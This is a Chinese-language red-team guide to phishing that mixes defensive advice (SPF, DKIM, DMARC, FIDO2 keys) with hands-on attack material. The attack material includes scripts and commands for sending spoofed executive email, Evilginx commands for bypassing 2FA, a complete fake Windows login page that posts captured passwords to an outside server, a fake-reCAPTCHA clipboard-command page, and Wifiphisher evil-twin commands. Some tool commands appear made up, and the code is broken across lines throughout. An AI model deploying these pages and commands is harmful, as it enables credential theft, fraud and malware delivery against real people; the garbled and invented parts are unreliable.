红队中的网络钓鱼涉及模拟现实攻击,利用人类漏洞来获取对系统或敏感信息的未经授权的访问。这些方法可能包括鱼叉式网络钓鱼,即向特定个人发送高度针对性的电子邮件,诱骗他们点击恶意链接或泄露凭据,或鲸钓式网络钓鱼,专注于高管等高调目标。攻击者还可能使用语音网络钓鱼 (vishing) 或短信网络钓鱼 (smishing) 来诱骗受害者透露信息。红队成员设计令人信服的场景来测试组织检测和应对这些社会工程技术的能力。
负责防御的蓝队采用多层次方法来应对网络钓鱼攻击。这包括培训员工识别可疑电子邮件和消息,以及实施电子邮件过滤系统和反网络钓鱼技术,以在恶意内容到达用户之前将其阻止。蓝队还监控网络流量以查找入侵指标 (IoC),例如异常登录尝试或异常数据传输。制定事件响应计划以减轻网络钓鱼尝试成功时的损害,确保快速遏制、恢复和分析以加强未来的防御。
人类智能
网络钓鱼中的人力情报 (HUMINT) 和社会工程学主要依靠操纵人类的情感和行为来欺骗个人分享敏感信息。网络钓鱼者使用 HUMINT 收集个人数据,例如工作角色、兴趣和人脉,从而策划定制攻击。社会工程学利用恐惧、紧迫感、信任和贪婪等情感触发因素来放大这些攻击。这些技术通过让人们相信请求是合法或紧急的,从而操纵人们做出冲动的决定,例如点击恶意链接或分享凭据。
在社会工程场景中,面部表情及其识别对于攻击者和防御者来说都至关重要。网络钓鱼者可以观察恐惧、困惑或解脱等情绪,以微调他们的方法,使他们的故事更可信。在防御方面,识别情绪反应可以帮助蓝队训练员工暂停并批判性地评估可疑请求。以下是常见场景及其利用的情绪触发因素的速记表:
备忘单:网络钓鱼场景和情感触发因素
1.恐惧/焦虑
-
场景:“您的帐户已被盗用。立即重置您的密码!”
-
情感线索:害怕失去访问权限或私人数据被泄露。
-
应对:受害者感到害怕,在未核实来源的情况下点击了恶意链接。
2.好奇心
-
场景:“您收到了一份机密文件。请打开查看。”
-
情感暗示:神秘感或排他性激起的兴趣。
-
响应:受害者打开附件,安装恶意软件。
3.紧迫性
-
场景:“立即完成付款以避免滞纳金。”
-
情感暗示:不花时间验证就迅速采取行动的压力。
-
响应:受害者匆忙向钓鱼网站提交付款详细信息。
4.信任/权威
-
场景:“我是你的老板。我需要你立即将资金转入这个账户。”
-
情感提示:尊重权威,害怕不服从。
-
回应:受害者认为该请求来自其上级,因此没有质疑其合法性就遵从了。
5.贪婪/兴奋
-
场景:“您赢了一张价值 1,000 美元的礼品卡!点击领取您的奖品。”
-
情感暗示:渴望获得奖励或经济利益。
-
答复:受害者提供个人信息来领取虚假奖品。
缺少SPF指数
Emkei.cz是一款在线工具,用户只需填写表格即可发送伪造电子邮件。此工具可能被滥用于网络钓鱼和社会工程攻击,因为它允许发件人伪造“发件人”地址,使电子邮件看起来好像来自合法或受信任的来源。了解攻击者如何使用Emkei.cz等工具有助于制定有效的预防措施。
如何 Emkei.cz 专门发送虚假电子邮件
使用Emkei.cz发送虚假电子邮件需要输入几个字段并按“发送”。以下是操作步骤:
1.访问网站:
在浏览器中导航到emkei.cz 。
2.填写表格:
发件人:您输入一个虚假的发件人电子邮件地址,例如[email protected]。
收件人:指定受害者的电子邮件地址,如[email protected]。
主题:您可以写任何主题,例如Urgent: Payment Required。
消息:撰写电子邮件的内容,可能类似于:
Dear John,
Please
make
the payment of $
5
,
000
to
the attached account. This
is
urgent.
Regards,
CEO
1.SMTP 选项:您可以使用默认设置,也可以根据需要配置自定义 SMTP。自定义 SMTP 有助于进一步隐藏来源。
2.附件:您可以选择附加文件(可能包含恶意软件或其他恶意负载)。
3.发送电子邮件:填写表格后,单击“发送电子邮件”按钮,虚假电子邮件就会发送给受害者。
防御相关 -Emkei.cz的这一过程十分简单,因此对攻击者来说极具吸引力。它不需要任何技术技能,而且发送的电子邮件看起来十分真实,让受害者信服。
防止通过Emkei.cz发送的欺骗电子邮件需要多层防御策略,重点关注电子邮件身份验证方法和监控。
1. 设置 SPF(发件人策略框架)
SPF 是一种 DNS 记录,它定义哪些邮件服务器可以为您的域发送电子邮件。如果配置正确,它可以阻止未经授权的服务器(如Emkei.cz的服务器)代表您的域发送电子邮件。
要添加 SPF 记录:
将其添加到您的域的 DNS 设置中:
example.
com
. IN TXT
"v=spf1 ip4:192.0.2.1 -all"
-
ip4:192.0.2.1:指定授权邮件服务器的IP地址。
-
-all:拒绝所有未来自授权 IP 的电子邮件。
测试您的 SPF 记录:
您可以使用MXToolbox等在线工具或命令行工具来验证您的 SPF 记录:
dig
txt example.
com
确保 SPF 记录配置正确且包含您域的所有合法邮件服务器。
2. 设置 DKIM (域名密钥识别邮件)
DKIM 会在外发电子邮件的标头中添加加密签名。如果有人试图从您的域发送没有此签名的电子邮件(如Emkei.cz所做的那样),则会被标记。
-
设置 DKIM 的步骤:
-
生成 DKIM 密钥对(公钥和私钥)。
-
将公钥发布为您域的 DNS TXT 记录。
配置您的邮件服务器以使用私钥签署发出的电子邮件。
DKIM DNS 记录示例:
default._domainkey.example.
com
. IN TXT
"v=DKIM1; k=rsa; p=your_public_key"
使用命令行验证 DKIM 记录:
dig
txt
default
._domainkey
.example
.com
通过使用以下工具进行测试,确保您的 DKIM 设置正常运行dmarcian.com。
3. 设置 DMARC(基于域的消息认证、报告和一致性)
DMARC 允许域所有者指定接收服务器如何处理失败的 SPF 和 DKIM 检查(例如,拒绝或隔离)。
设置 DMARC 的步骤:
-
添加以下 DNS TXT 记录:
_dmarc.example.
com
. IN TXT
"v=DMARC1; p=reject; rua=mailto:[email protected]; ruf=mailto:[email protected]"
这条记录意味着:
-
p=reject:未通过 DMARC 检查的电子邮件将被拒绝。
-
rua:汇总报告将发送至[email protected]。
-
ruf:法医报告将发送至[email protected]。
使用命令行工具验证您的 DMARC 记录:
dig
txt _dmarc.example.
com
这可确保您的 DMARC 策略被正确发布并被接收邮件服务器识别。
4. 使用电子邮件过滤器和安全解决方案
电子邮件过滤解决方案可以自动阻止或隔离可疑电子邮件,包括通过Emkei.cz发送的电子邮件。
使用电子邮件安全网关:Proofpoint、Mimecast 或 Microsoft Defender for Office 365 等解决方案可以根据行为模式和异常检测和阻止欺骗电子邮件。
启用反欺骗过滤器:大多数企业电子邮件系统(如 Google Workspace 或 Microsoft Exchange)允许您默认启用欺骗检测和过滤。
5. 监控并分析日志
电子邮件服务器和安全工具会生成日志,这些日志可以揭示可疑的电子邮件活动,例如未通过 SPF、DKIM 或 DMARC 检查的电子邮件。定期检查这些日志,以查找企图欺骗的迹象。
例如,在 Postfix 电子邮件服务器上,检查日志中是否存在被拒绝的电子邮件:
grep
"reject"
/var/
log
/mail.
log
这将显示由于 SPF、DKIM 或 DMARC 检查失败而被阻止的电子邮件。
在 Postfix 服务器上强制执行 SPF、DKIM 和 DMARC 的示例命令:
1.在 Postfix 中强制执行 SPF 检查:
将以下内容添加到您的/etc/postfix/main.cf:
smtpd_recipient_restrictions =
reject_unauth_destination
check_policy_service unix:
private
/policyd-spf
2.使用 OpenDKIM 安装并配置 DKIM:
安装OpenDKIM:
sudo apt-get
install
opendkim opendkim-tools
通过编辑以下内容配置 Postfix 以使用 OpenDKIM /etc/postfix/main.cf:
milter_default_action
= accept
milter_protocol
=
2
smtpd_milters
= unix:/opendkim/opendkim.sock
non_smtpd_milters
= unix:/opendkim/opendkim.sock
3.在 Postfix 中启用 DMARC:
安装并配置像OpenDMARC这样的 DMARC 策略服务,并以与 OpenDKIM 类似的方式使用 Postfix 进行配置。
绕过 SPF
SPF(发件人策略框架)是一种电子邮件身份验证机制,有助于防止垃圾邮件发送者代表您的域发送邮件。SPF 的工作原理是允许域所有者指定哪些邮件服务器有权代表其域发送电子邮件。当电子邮件服务器收到邮件时,它会检查发送域的 SPF 记录,以验证发件人的 IP 地址是否有权为该域发送电子邮件。如果 SPF 检查失败,接收服务器可能会将该邮件标记为垃圾邮件或完全拒绝它。
1.DNS 记录创建:域名所有者在 DNS(域名系统)中发布 SPF 记录。此记录列出了该域名的所有授权邮件服务器。
SPF 记录示例:
v
=spf1 ip4:
192.168
.
1.1
include:example.com -all
1.此记录允许 IP 地址为域发送电子邮件。192.168.1.1表示任何其他 IP 地址都无法通过 SPF 检查。example.com-all
2.接收服务器验证:当收到电子邮件时,收件人的服务器会检查发送域的 DNS 记录。如果发送服务器的 IP 与授权列表匹配,则 SPF 检查通过。
尽管有 SPF 保护,但欺骗仍然是一个问题,特别是当域不强制执行 SPF 或接收服务器未配置为拒绝失败的 SPF 检查时。
邮件服务器欺骗涉及发送看似来自他人域名或电子邮件地址的电子邮件。这通常用于网络钓鱼或社交工程攻击。虽然 SPF 可以阻止发送欺骗性电子邮件,但攻击者仍然可以尝试通过在配置不当的系统上绕过 SPF 或通过针对没有适当电子邮件身份验证协议的系统来欺骗电子邮件。
邮件欺骗工具
以下是关于如何使用Telnet或 Python 中的Sendmail或SMTP 库等工具发送虚假电子邮件的简化指南。这些方法仅用于教育目的。
使用 Telnet 伪造电子邮件
Telnet 可用于直接与 SMTP(简单邮件传输协议)服务器通信并发送电子邮件。其工作原理如下:
步骤:
打开终端并使用 Telnet 连接到邮件服务器:
telnet
smtp
.example
.com
25
服务器将做出响应。现在,使用 SMTP 命令向邮件服务器说“你好”:
HELO example.
com
设置虚假发件人邮箱:
FROM
: <
fake
@
example
.
com
>
设置收件人邮箱:
RCPT
TO
: <
victim
@
targetdomain
.
com
>
DATA
Subject
: Important Update
From
: CEO <[email protected]>
To
: [email protected]
Hello,
This is
a
fake email. Please follow the instructions below...
.
在新行上用句点 (.) 结束要发送的消息:
.
退出会话:
QUIT
电子邮件现在将发送给收件人,可能会绕过薄弱的电子邮件安全措施。
使用 Python 来伪造电子邮件
Python 的smtplib库可用于编写电子邮件发送脚本,包括欺骗消息。
Python示例:
import
smtplib
# Set up the server
server = smtplib.SMTP(
'smtp.example.com'
,
25
)
# Replace with the target SMTP server and port
server.ehlo()
# Compose the message
from_email =
"[email protected]"
# Spoofed sender
to_email =
"[email protected]"
subject =
"Urgent: Security Update"
message =
"""
From: CEO <[email protected]>
To: <[email protected]>
Subject: {subject}
Dear User,
Please reset your password immediately at the following link:
http://malicious-link.com
Sincerely,
CEO
"""
# Send the email
server.sendmail(from_email, to_email, message)
server.quit()
如何防御邮件欺骗
为了防御欺骗性电子邮件,组织应实施并执行以下机制:
-
SPF:确保域的 SPF 记录配置正确。
-
DKIM(域名密钥识别邮件):使用数字签名对发出的电子邮件进行签名。
-
DMARC(基于域的消息认证、报告和一致性):强制执行策略,指导接收邮件服务器如何处理未通过 SPF 或 DKIM 检查的电子邮件。
-
电子邮件过滤:使用高级电子邮件过滤工具检测和阻止可疑电子邮件,即使 SPF 和 DKIM 检查通过。
-
员工培训:培训员工识别网络钓鱼电子邮件并了解电子邮件欺骗风险。
返回路径不匹配
最常见的网络钓鱼技术之一是伪造发件人的电子邮件地址,使电子邮件看起来好像来自可信来源。一种快速识别方法是将发件人字段与电子邮件标头中的返回路径进行比较。攻击者伪造了“发件人”字段,但发送电子邮件的实际服务器可能不同,从而暴露了攻击。
检查发件人和返回路径的步骤:
-
打开电子邮件。
-
点击电子邮件右上角的三个点(⋮),然后选择显示原始内容(在 Gmail 等服务中)。
-
检查电子邮件正文中的发件人字段和原始标题中的返回路径字段。
-
如果发件人(在电子邮件中可见)和返回路径(在原始来源中)不匹配,则很有可能是网络钓鱼尝试。
攻击场景-发送带有欺骗性返回路径的虚假电子邮件的代码:
攻击者可能会使用Sendmail或SendEmail之类的工具来伪造电子邮件的“发件人”地址,同时设置不同的返回路径:
sendemail
-f attacker
@fakecompany
.com -t victim
@legitcompany
.com -u
"Urgent: Payment Required"
-m
"Please process the payment today."
-s smtp.fakeserver.com:
25
-o message-header=
"Return-Path: <attackerserver
@malicious
.com>"
Received
:
from
smtp
.maliciousserver
.com
(
[192.0.2.123]
)
3.使用 MXToolbox或其他查找服务检查发送 IP 是否被列入黑名单:
-
转到 MXToolbox 并输入 IP 地址。
4.如果 IP 被列入黑名单或者可疑,则该电子邮件很可能是网络钓鱼尝试。
攻击场景-使用自定义 SMTP 发送欺骗电子邮件:
攻击者可以使用自定义 SMTP 服务器发送欺骗电子邮件:
sendemail -
f
ceo@legitcompany.
com
-t victim@target.
com
-
u
"Invoice Payment Required"
-
m
"Please pay the invoice attached."
-s smtp.maliciousserver.
com
:
25
smtp.maliciousserver.com在这种情况下,可以根据黑名单检查IP 地址以揭示其恶意。
如果SPF或DMARC失败,电子邮件可能会被伪造。
攻击场景-绕过SPF并发送网络钓鱼电子邮件:
如果目标域的 SPF 记录配置不当(例如使用软故障 ( ~all) 而不是硬故障 ( -all)),则可绕过 SPF。攻击者可能会尝试以下方法:
1.域名的 SPF 记录:
v
=spf1 ip4:
192.0
.
2.1
~all
-
这~all意味着未经授权的服务器将被标记但不会被拒绝。
-
使用未经授权的服务器发送欺骗电子邮件:
sendemail -
f
finance@legitcompany.
com
-t victim@targetdomain.
com
-
u
"Payment Information"
-
m
"Please complete the attached invoice."
-s smtp.attacker.
com
:
25
由于 SPF 设置为软失败,即使是从未经授权的服务器发送的电子邮件仍可能被送达。
4.预防技术
为了保护您的电子邮件系统免遭网络钓鱼攻击,必须通过适当的配置实施 SPF、DKIM 和 DMARC 等安全最佳实践。
设置 SPF 记录:
example.
com
. IN TXT
"v=spf1 ip4:192.0.2.1 -all"
dig
txt example.
com
使用opendkim等工具生成公钥和私钥。
opendkim-genkey -s default -d example
.com
2.将公钥添加到 DNS:
将公钥添加到您的 DNS:
default._domainkey.example.
com
. IN TXT
"v=DKIM1; k=rsa; p=MIGf...your_public_key..."
3.配置您的邮件服务器以签署电子邮件:
设置您的电子邮件服务器(例如,Postfix)以使用 DKIM 签署外发电子邮件。
设置 DMARC:
1.将 DMARC 策略添加到 DNS:
_dmarc.example.
com
. IN TXT
"v=DMARC1; p=reject; rua=mailto:[email protected]"
2.测试 DMARC:
使用 MXToolbox 确保您的 DMARC 配置处于活动状态:
dig
txt _dmarc.example.
com
深度伪造或网络钓鱼
网络钓鱼已经发生了重大变化,采用了深度伪造视频和人工智能生成的虚假声音等复杂技术来欺骗和操纵受害者。这些新技术可以通过模仿可信赖的个人(无论是视觉还是音频格式)使网络钓鱼攻击更加令人信服。这为传统的网络钓鱼方法增加了新的复杂性,需要高级对策。
1. 利用 Deepfakes(视频篡改)进行网络钓鱼
深度伪造网络钓鱼涉及使用人工智能生成的视频来冒充可信赖的个人,例如公司高管或公众人物。攻击者可以在网络钓鱼活动中使用深度伪造来操纵员工或个人执行诸如转移资金、泄露敏感信息或点击恶意链接等操作。
使用 Deepfake 视频的攻击场景
1.制作 Deepfake 视频:攻击者使用DeepFaceLab或FaceSwap等 AI 工具制作视频,冒充高层管理人员或可信人物。然后,他们可以制作嵌入 Deepfake 视频的网络钓鱼电子邮件或消息,要求受害者采取紧急行动。
使用 DeepFaceLab 的 Deepfake 创建过程示例:
-
安装DeepFaceLab并下载预先训练的模型:
git clone http
s:
//github.
com
/iperov/DeepFaceLab.git
cd
DeepFaceLab
-
收集要模仿的人的视频数据(源视频)和演员的视频(目标视频)。
-
从源视频中提取面部:
python
main.
py
extract --
input
-dir path/
to
/source_video --output-dir path/
to
/faces
训练模型来生成 deepfake:
python
main.
py
train --data-dir path/
to
/dataset
生成 Deepfake视频:
python
main.
py
merge --
input
-dir path/
to
/trained_model --output-dir path/
to
/output_video
利用人工智能生成的虚假声音进行网络钓鱼
人工智能生成的假声音通常被称为语音深度伪造或语音钓鱼(语音网络钓鱼),可用于在电话或语音信息中冒充可信赖的个人。攻击者可以使用机器学习算法合成人的声音,使网络钓鱼攻击更加令人信服。
使用假声音的攻击场景
1.使用人工智能创建虚假声音:可以使用Descript或Lyrebird等工具通过对目标声音样本进行人工智能训练来创建语音深度伪造。
使用 Descript 的示例流程:
-
录制或收集目标的声音样本(例如来自公开演讲、视频或播客)。
-
训练人工智能模仿声音:
descript clone
--voice-sample path/to/voice_sample.wav --output voice_model
使用克隆的声音生成语音片段:
descript
synthesize --model voice_model --text
"Please approve this fund transfer by end of day."
语音钓鱼攻击:攻击者使用人工智能生成的声音拨打电话或发送语音消息,假装自己是高管或经理。例如,攻击者可能会打电话给员工并指示他们汇款或提供敏感凭证。
语音消息脚本示例:
"Hi, this is your CEO. I’m in an urgent meeting and need you to transfer
$15
,000 to this account right away. I'll send you the details shortly via email. Thanks!"
虚假语音钓鱼的预防技术
-
语音生物特征认证:使用语音生物特征认证工具来验证呼叫者的身份。Nuance和Pindrop等工具可以检测语音模式中的异常。
-
回拨协议:实施严格的回拨政策,要求员工通过已知且可信赖的电话号码回拨来验证任何财务或敏感请求。
-
实时 AI 语音检测:先进的 AI 工具可以实时分析来电,以检测语音是合成的还是生成的,从而帮助标记可疑电话。
2FA
Evilginx 3.0是一款用于进行高级网络钓鱼攻击的强大工具,专门用于绕过双因素身份验证 (2FA)。它充当反向代理,拦截并中继受害者与合法服务之间的通信。即使受害者使用 2FA,包括基于时间的一次性密码 (TOTP) 和基于 SMS 的 2FA,这也能让攻击者捕获登录凭据和身份验证令牌。
以下是如何使用Evilginx 3.0以及防御机制进行 2FA 绕过网络钓鱼攻击。
攻击场景:使用 Evilginx 3.0 进行网络钓鱼和 2FA 绕过
设置和配置:Evilginx 充当受害者和合法登录页面之间的中间人 (MITM)。它可以捕获用户名/密码以及成功进行 2FA 身份验证后生成的会话令牌。
phishlets
hostname
google phishingdomain.
com
phishlets enable google
lures create google
Evilginx 现在将在域名上克隆 Google 的登录页面phishingdomain.com。
创建网络钓鱼 URL:启用网络钓鱼和诱饵后,Evilginx 会生成一个网络钓鱼 URL,将受害者重定向到虚假的登录页面。
lures
get
-url
0
该 URL 将类似于真实的登录页面,并使用 HTTPS 进行令人信服的网络钓鱼攻击。
进行网络钓鱼攻击
1.发送钓鱼 URL:攻击者通过电子邮件、短信或社交工程技术将钓鱼 URL 发送给目标。例如:
-
钓鱼邮件:
Subjec
t:
Urgen
t:
Unusual Login Attempt
Hi,
We detected
an
unusual login attempt
on
your Google account. Please click the link below
to
verify your identity:
http
s:
//phishingdomain.
com
/google/login
Regards,
Google Security Team
-
受害者输入凭证:当受害者点击链接时,他们会被重定向到由 Evilginx 托管的克隆登录页面。他们输入凭证并提交 2FA 代码。
-
Evilginx 捕获凭证和 2FA 令牌:Evilginx 捕获用户名、密码和 2FA 令牌 (OTP) 并将其转发给合法服务。该服务会发回会话 cookie,Evilginx 也会捕获该 cookie。
捕获凭证的示例:
[201.202.45.12]
[google]
[[email protected]]
[password123]
[google]
Session
cookie
captured
:
GA1
.2
.1234567890
.session
针对 Evilginx 网络钓鱼和 2FA 绕过的防御机制
防御此类复杂的网络钓鱼攻击需要采取多层次的方法:
1.使用 FIDO2/WebAuthn 硬件密钥:尽管 Evilginx 可以绕过传统的 2FA 方法(TOTP、SMS 等),但使用FIDO2或WebAuthn的基于硬件的身份验证无法被中间人攻击绕过。这些设备会为每个会话生成特定的加密密钥,因此无法被窃取。
-
例如:YubiKey或Google Titan Key。
同形异义词攻击和域名抢注攻击
1. 网络钓鱼中的同形异义词攻击同形异义词攻击是一种网络钓鱼攻击,它利用不同字符集(通常是 Unicode)中字符之间的视觉相似性来创建与合法 URL 几乎相同的恶意 URL。攻击者使用这些欺骗性 URL 诱骗用户访问恶意网站,并认为它们是合法域名。这种技术特别危险,因为用户可能不容易注意到合法和恶意 URL 之间的细微差别。
考虑合法域名apple.com。攻击者可以创建一个恶意 URL,例如,аррle.com其中的字符а和р实际上是西里尔字母,而不是合法域名中使用的拉丁字符。在外行人看来,这两个 URL 看起来相同,但它们指向不同的网站。
攻击者在网络钓鱼电子邮件、社会工程活动或恶意广告中使用这些虚假 URL 来诱骗受害者泄露敏感信息,例如登录凭据、信用卡详细信息或个人数据。
同形异义词攻击的工具:
攻击者可以利用多种在线工具或脚本来生成同形异义词 URL。例如,攻击者可以使用 Python 库idna(应用程序中的国际化域名)将 Unicode 字符转换为 Punycode 来注册相似的域名。
在 Python 中创建同形异义域的示例:
import
idna
# Original domain
original_domain =
"apple.com"
# Create a homograph domain using Cyrillic letters
homograph_domain =
"аррle.com"
# Convert homograph domain to Punycode
punycode_domain = idna.encode(homograph_domain).decode()
print(
f"Homograph domain in Punycode:
{punycode_domain}
"
)
结果:
Homograph domain in Punycode:
xn
--
80
ak6aa92e.
com
2. 网络钓鱼中的域名抢注 域名抢注是另一种网络钓鱼攻击,攻击者注册的域名与合法域名相似,但包含拼写错误或细微差异。其目的是利用用户在输入 URL 时犯的常见打字错误。域名抢注 URL 通常会模仿热门网站,诱使用户误以为他们访问的是合法网站。
合法域名可能是google.com,但域名抢注者可能会注册gooogle.com(多了一个“o”)。如果用户不小心输入了错误的 URL,他们可能会进入一个旨在窃取其信息的钓鱼网站。
攻击者还会利用域名抢注进行基于电子邮件的网络钓鱼攻击,方法是创建看似来自合法域但略作改动的电子邮件。例如,一封来自 的电子邮件[email protected]可能会被冒充为[email protected]。
域名抢注攻击工具:
测试和生成域名抢注的一个有用工具是PhishiUrl,可在 GitHub 上获取:PhishiUrl。此工具可自动生成可用于网络钓鱼或红队活动的域名或类似域名。
使用 PhishiUrl 的示例:
git clone http
s:
//github.
com
/EmadYaY/PhishiUrl.git
cd
PhishiUrl
python3
phishiurl.
py
--domain google.
com
--
type
squatting
http
s:
//github.
com
/EmadYaY/PhishiUrl
操作系统层网络钓鱼页面
网络钓鱼攻击可以通过模拟用户认为真实的登录页面来攻击操作系统 (OS) 凭据。本文档提供了一个示例,说明如何创建模仿 Windows、macOS 和 Linux 操作系统登录屏幕的网络钓鱼页面。目标是在用户将详细信息输入看似合法的登录表单时获取用户凭据。
以下是针对每个操作系统如何创建和部署网络钓鱼页面的指南:
1. Windows 操作系统钓鱼页面
描述:此钓鱼页面模仿 Windows 10 登录屏幕并使用 JavaScript 捕获凭据。它旨在以信息亭模式运行,以防止用户退出应用程序。
安装说明:
创建 index.html:此 HTML 文件应包含样式类似于 Windows 10 登录屏幕的登录表单。它捕获用户输入并将其发送到服务器。
<!DOCTYPE html>
<
html
>
<
head
>
<
title
>
Windows 10 Login
</
title
>
<
style
>
body
{
font-family
:
'Segoe UI'
, Tahoma, Geneva, Verdana, sans-serif;
background-color
:
#1a1a1a
;
color
: white;
text-align
: center;
padding-top
:
20%
;
}
.login-container
{
background-color
:
#2d2d2d
;
border-radius
:
8px
;
display
: inline-block;
padding
:
20px
;
}
input
[type="text"]
,
input
[type="password"]
{
padding
:
10px
;
margin
:
10px
;
border-radius
:
5px
;
border
: none;
width
:
200px
;
}
input
[type="submit"]
{
padding
:
10px
20px
;
border-radius
:
5px
;
border
: none;
background-color
:
#0078d7
;
color
: white;
cursor
: pointer;
}
</
style
>
</
head
>
<
body
>
<
div
class
=
"login-container"
>
<
h1
>
Windows 10
</
h1
>
<
form
id
=
"login-form"
>
<
input
type
=
"text"
id
=
"username"
placeholder
=
"Username"
required
>
<
br
>
<
input
type
=
"password"
id
=
"password"
placeholder
=
"Password"
required
>
<
br
>
<
input
type
=
"submit"
value
=
"Sign in"
>
</
form
>
</
div
>
<
script
>
document
.getElementById(
'login-form'
).addEventListener(
'submit'
,
function
(
e
)
{
e.preventDefault();
var
username =
document
.getElementById(
'username'
).value;
var
password =
document
.getElementById(
'password'
).value;
fetch(
'http://yourserver.com/collect'
, {
method
:
'POST'
,
headers
: {
'Content-Type'
:
'application/x-www-form-urlencoded'
},
body
:
'username='
+
encodeURIComponent
(username) +
'&password='
+
encodeURIComponent
(password)
}).then(
response
=>
response.text())
.then(
data
=>
console
.log(data));
// Redirect or show an error after submission
alert(
'Invalid password. Please try again.'
);
});
</
script
>
</
body
>
</
html
>
以信息亭模式运行:以信息亭模式启动钓鱼页面,阻止用户退出。
-
Chrome:
"C:Program FilesGoogleChromeApplicationchrome.exe"
--kiosk
file
:///path/
to
/
index
.html
-
Edge:
"C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe"
--kiosk
file
:///path/
to
/
index
.html --edge-kiosk-
type
=fullscreen
-
Firefox:
"C:Program FilesMozilla Firefoxfirefox.exe"
--kiosk
file
:///path/
to
/
index
.html
https://github.com/marduc812/Win10CredsThief
请求相机等权限
类似 Rogue Access Point Framework 的接口层
Wifiphisher是一款多功能工具,可用于红队测试和 Wi-Fi 安全评估,通过无线网络进行复杂的网络钓鱼攻击。该框架使渗透测试人员能够创建恶意接入点并执行各种攻击以捕获敏感信息或分发恶意软件。以下是其功能和工作原理的全面概述:
1. 实现中间人(MITM)地位
Wi-Fi 网络钓鱼的初始阶段涉及将自己置于目标客户端和合法网络之间。Wifiphisher 采用了多种技术来实现此目的:
-
邪恶双胞胎攻击:创建与合法网络具有相同 SSID 的虚假接入点,诱骗客户端连接到该接入点。
-
KARMA 攻击:模仿客户端经常连接的公共网络,引诱他们与恶意 AP 关联。
-
已知信标攻击:广播附近设备过去连接过的常用 SSID 列表,增加成功关联的机会。
为了增强这些攻击的有效性,Wifiphisher 使用取消认证或解除关联数据包来破坏现有连接,迫使客户端重新连接并可能加入恶意 AP。
2. 进行网络钓鱼攻击
一旦处于 MITM 位置,Wifiphisher 便可用于执行各种网络钓鱼和恶意软件分发攻击:
-
网络钓鱼:创建并提供虚假登录页面,以窃取毫无戒心的用户的凭证。例如,通过模仿 Windows 网络管理员,Wifiphisher 可以诱骗用户输入其 WPA/WPA2 预共享密钥。
-
恶意软件分发:可以设置高级场景,向受害设备投放恶意负载。例如,“固件升级”场景可能会提示用户下载伪装成固件更新的恶意可执行文件。
使用自定义场景执行邪恶双胞胎攻击:
wifiphisher -aI wlan0 -jI wlan4 -p firmware-upgrade
--handshake-capture handshake.pcap
自动定位特定网络和场景:
wifiphisher
--essid CONFERENCE_WIFI -p plugin_update -pK s3cr3tp4ssw0rd
使用 OAuth 登录场景启动开放网络:
wifiphisher --essid
"FREE WI-FI"
-
p
oauth-login -kB
https://github.com/wifiphisher/wifiphisher
验证但作为黑客,ClickFix
伪造的 reCAPTCHA 网络钓鱼方法包括创建一个模仿合法 reCAPTCHA 验证表单的网络钓鱼页面,以诱骗用户在其系统上执行恶意命令。这种技术利用用户对 reCAPTCHA 表单的熟悉度和信任度来绕过他们的安全本能。
攻击场景:
1.诱饵制作:
-
攻击者设计了一个伪造的 reCAPTCHA 页面,指示用户“验证您是人类”。这个钓鱼页面的设计与真正的 Google reCAPTCHA 页面非常相似。
-
该页面包含一个按钮或表单,当与其交互时,会提示用户打开 Windows 运行对话框(Win+R)并粘贴钓鱼页面复制到剪贴板的命令。
2.执行:
-
一旦用户粘贴命令,该命令就会在其系统上执行。此命令可能是恶意脚本或程序,旨在窃取凭据、安装恶意软件或执行其他恶意活动。
-
网络钓鱼页面可能包含虚假错误消息或额外提示,以吸引用户参与并确保他们完成命令执行。
3.示例实现:您提到的存储库提供了如何设置此类钓鱼页面的示例。该index.html文件包含 CSS 和 JavaScript,用于创建伪造的 reCAPTCHA 界面和执行命令的机制。
<!DOCTYPE html>
<
html
>
<
head
>
<
title
>
Verify You Are Human
</
title
>
<
style
>
body
{
font-family
: Arial, sans-serif;
text-align
: center;
padding-top
:
20%
;
background-color
:
#f1f1f1
;
}
.container
{
background
: white;
border-radius
:
8px
;
padding
:
20px
;
box-shadow
:
0
0
10px
rgba
(0,0,0,0.1);
display
: inline-block;
}
.button
{
padding
:
15px
30px
;
border
: none;
background
:
#4285f4
;
color
: white;
font-size
:
16px
;
cursor
: pointer;
border-radius
:
5px
;
margin
:
10px
;
}
</
style
>
</
head
>
<
body
>
<
div
class
=
"container"
>
<
h2
>
Verify you are human
</
h2
>
<
button
class
=
"button"
onclick
=
"showVerifyWindow()"
>
Verify
</
button
>
</
div
>
<
script
>
function
showVerifyWindow
()
{
var
command =
'your-malicious-command-here'
;
// Replace with your malicious command
var
verificationCode =
'7624'
;
// Example code, can be randomized
// Show a fake reCAPTCHA window
alert(
'Validation in the Run box to "hide" the command (✅ "I am not a robot - reCAPTCHA Verification ID: '
+ verificationCode +
'")'
);
// Clear clipboard (this is just a placeholder for the real implementation)
navigator.clipboard.writeText(command).then(
function
()
{
alert(
'Command copied to clipboard. Open the Run dialog (Win+R) and paste it to continue.'
);
});
}
</
script
>
</
body
>
</
html
>
https://github.com/JohnHammond/recaptcha-phish
已过期但需要黑客
域名猎人
-
目的:此工具可帮助识别以前具有良性用途的已过期或可用域,这些域可重新用于网络钓鱼或命令和控制 (C2) 任务。
-
特征:
-
从ExpiredDomains.net检索最近过期的域名。
-
针对 Symantec Site Review、IBM X-Force 和 Cisco Talos 等服务执行声誉检查。
-
以文本和 HTML 格式输出结果,并附有信誉来源和Archive.org条目的链接。
-
使用示例:
-
./domainhunter.py -k apples -c --ocr -t5– 搜索与“苹果”相关的过期域名,检查其信誉,并处理 CAPTCHA。
-
./domainhunter.py --single mydomain.com– 对单个域执行详细的信誉检查。
-
python3 ./domainhunter.py -r 1000– 检索并检查最近过期的 1000 个域名的信誉。
https://github.com/threatexpress/domainhunter
DNS劫持
DNS 劫持,也称为 DNS 重定向,是一种用于操纵域名解析过程的技术。通过破坏域名解析为 IP 地址的方式,攻击者可以将流量重定向到恶意网站、阻止对合法网站的访问或拦截和操纵网络流量。这种技术通常用于网络钓鱼攻击,以欺骗用户访问看似合法的欺诈网站。
1.重定向至恶意 DNS 服务器
攻击者可以配置恶意软件来更改计算机的 DNS 设置,以使用他们控制的恶意 DNS 服务器。然后,该服务器可以将请求重定向到旨在模仿合法网站的恶意网站。
例如,当用户尝试访问时bank.com,恶意 DNS 服务器可能会将他们引导到与银行真实网站完全相同的网络钓鱼网站。
2.入侵受信任的 DNS 服务器
攻击者还可以入侵或利用受信任 DNS 服务器中的漏洞来更改其提供的响应。这可能涉及向 DNS 缓存中注入恶意条目或修改 DNS 记录。
